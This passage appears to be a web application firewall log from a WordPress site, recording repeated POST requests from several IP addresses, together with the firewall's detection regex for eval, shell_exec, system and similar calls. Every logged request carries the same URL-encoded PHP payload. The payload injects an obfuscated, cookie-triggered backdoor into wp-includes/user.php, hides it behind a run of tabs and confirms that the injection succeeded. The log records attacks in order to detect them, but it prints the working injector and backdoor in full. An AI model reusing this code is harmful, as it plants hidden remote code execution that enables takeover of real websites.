\"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3231\n\nLI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:51:18","118.139.167.171","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3231\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nLI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:51:21","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3231\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nhM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:51:26","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ke:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3231\n\nke=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:51:44","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3254\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 